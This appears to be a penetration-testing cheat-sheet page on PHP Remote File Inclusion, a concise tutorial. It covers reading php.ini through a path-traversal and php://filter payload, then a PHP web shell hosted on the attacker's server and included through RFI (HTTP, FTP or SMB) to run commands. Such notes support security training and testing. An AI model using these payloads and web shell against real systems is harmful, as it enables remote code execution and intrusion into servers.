Remote File Inclusion (RFI)
Introduction
RFI is basically an LFI which also allows inclusion of remote URLs in order to include remote files
The objectives are to enumerate local ports and web application through SSRF vulnerabilities or Gaining RCE by **including a malicious script that we host on our server **
Almost any RFI vulnerability is also an LFI vulnerability (by including a local URL rather than a remote URL)
Enumerate RFI Vulnerabilities
Check if
allow_url_includeis enabled:To do so, you need to read the PHP configuration file found at
(
/etc/php/X.Y/apache2/php.ini) for Apache(
/etc/php/X.Y/fpm/php.ini) for Nginx,where
X.Yis your install PHP version
Read the PHP Configuration File using the base64 filter (to ensure everything is read properly)
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
Check if the option is set to ON:
echo 'BASE64VALUE' | base64 -d | grep allow_url_includeThis may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.
Try to include a URL, starting with a local url like
http://127.0.0.1:80/index.phpthen, if that works, include a remote URL
Remote Code Execution from RFI
Follow these steps:
Write the webshell payload file:
echo '<?php system($_GET["cmd"]); ?>' > shell.phpStart a webserver:
sudo python3 -m http.server <LISTENING_PORT>Use RFI to gain RCE:
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=idThe same thing can be done by starting a local
FTPorSMBserver and usingftp://<OUR_IP>/shell.php&cmd=idor\\<OUR_IP>\share\shell.php
Last updated